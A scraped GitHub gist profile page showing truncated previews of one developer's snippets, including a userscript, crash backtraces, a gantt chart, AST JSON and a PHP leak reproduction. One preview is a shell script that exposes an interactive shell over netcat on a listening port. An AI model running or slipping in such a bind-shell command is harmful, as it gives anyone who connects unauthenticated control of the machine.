Skip to content

Instantly share code, notes, and snippets.

View Gasol's full-sized avatar
🥂
Hello strangers ~

Gasol Wu Gasol

🥂
Hello strangers ~
View GitHub Profile
@Gasol
Gasol / disable-ifvisible.user.js
Created May 15, 2024 00:39
Disable popup when idle
// ==UserScript==
// @name Disable ifvisible
// @namespace http://tampermonkey.net/
// @version 2024-03-19
// @description Stop fancybox to be opened while idle
// @author Gasol Wu <gasol.wu@gmail.com>
// @match https://www.mobile01.com/*
// @icon https://www.google.com/s2/favicons?sz=64&domain=mobile01.com
// @grant none
// ==/UserScript==
@Gasol
Gasol / workdays.md
Last active December 15, 2022 02:36
gantt
    title Workdays

    section 10 days in Dec.
        Work :2022-12-19, 4d
        Work :2022-12-26, 4d
    section 17 days in Jan.
        Work :2023-01-03, 4d
 Work :2023-01-09, 4d
root@smokeping:/tmp # lldb -c ./echoping.core echoping
(lldb) target create "echoping" --core "./echoping.core"
Core file '/tmp/echoping.core' (x86_64) was loaded.
(lldb) bt
* thread #1, name = 'echoping', stop reason = signal SIGSEGV
* frame #0: 0x0000000000209e3f echoping`SSL_readline(sslh=0x0000000800ed1000, ptr="13, \"locale\": \"en\", \"translated_from_locale\": null, \"free_shipping_geos\": [], \"rank\": 212768, \"project_start_dt\": null, \"project_end_dt\": null, \"project_banner_irev\": null, \"project_total_funds_raised\": null, \"project_goal_amount\": null, \"shop_name\": \"tokkuri-craft\", \"video\": null, \"params_d\": {\"ref_sec\": \"homepage-pinboard\", \"ref_sec_id\": \"VzLGB4vL\"}, \"oprice\": 1495, \"transformed_discount\": 0.0, \"card_type\": \"normal\", \"free_shipping_geo\": [], \"promo_badges\": [], \"status_badges\": [], \"feature_badges\": [], \"free_shipping\": 0, \"fav\": false, \"review_info\": null}, {\"tid\": \"6q2GXbzt\", \"irev\": 0, \"owner\": \"lipattijewelry\", \"created\"
#!/bin/sh
LISTEN_PORT=${1:-32768}
( cd /tmp; \
mkfifo f; \
cat f | env -i sh -i 2>&1 | nc -l 0.0.0.0 "$LISTEN_PORT" > f
) &
( cd /tmp; \
Wayback Machine
http://aoeexaok.myweb.hinet.net/2003/feel/feel05.htm
JUN JUL SEP
Previous capture 01 Next capture
2003 2004 2005
2 captures
1 Jul 2004 - 3 Sep 2004
About this capture
@Gasol
Gasol / example-ast.json
Created June 7, 2019 15:59
The output of AST Parse Result generated by drafter for example.apib in Aglio repo
{
"_version": "2.2",
"ast": {
"_version": "4.0",
"metadata": [
{
"name": "FORMAT",
"value": "1A"
},
{
// Incorrect trademark
// Tag #RU98QJ9G https://statsroyale.com/profile/RU98QJ9G
$ echo -n ™️ | hexdump -C
00000000 e2 84 a2 ef b8 8f |......|
00000006
// I want this trademark character
// Tag #Y2RCCJ8C https://statsroyale.com/profile/Y2RCCJ8C
$ echo -n ™ | hexdump -C
00000000 e2 84 a2 |...|
Core file '/cores/core.73396' (x86_64) was loaded.
(lldb) bt all
* thread #1: tid = 0x0000, 0x0000000101a8fee0, stop reason = signal SIGSTOP
* frame #0: 0x0000000101a8fee0
frame #1: 0x0000000101af3e44 libapr-1.0.dylib`apr_pool_destroy [inlined] run_cleanups + 14 at apr_pools.c:2352 [opt]
frame #2: 0x0000000101af3e36 libapr-1.0.dylib`apr_pool_destroy(pool=<unavailable>) + 68 at apr_pools.c:814 [opt]
frame #3: 0x0000000101947407 httpd`destroy_and_exit_process(process=0x00007f92a1804b18, process_exit_value=0) + 55 at main.c:264
frame #4: 0x00000001019470fd httpd`main(argc=3, argv=0x00007fff5e2c7548) + 4541 at main.c:796
frame #5: 0x00007fffbb29e255 libdyld.dylib`start + 1
frame #6: 0x00007fffbb29e255 libdyld.dylib`start + 1
[New LWP 5292]
[New LWP 5294]
[New LWP 5293]
[New LWP 5295]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Core was generated by `/usr/lib/gnome-terminal/gnome-terminal-server'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 __strncpy_sse2_unaligned () at ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S:296
296 ../sysdeps/x86_64/multiarch/strcpy-sse2-unaligned.S: No such file or directory.
<?php
// scripts to reproduce memory leak on https://github.com/guzzle/guzzle/issues/1151
require __DIR__ . '/vendor/autoload.php';
use Sunra\PhpSimple\HtmlDomParser;
use GuzzleHttp\Client;
$urls = ['https://www.kkbox.com/', 'https://www.kkbox.com/tw/tc/search.php'];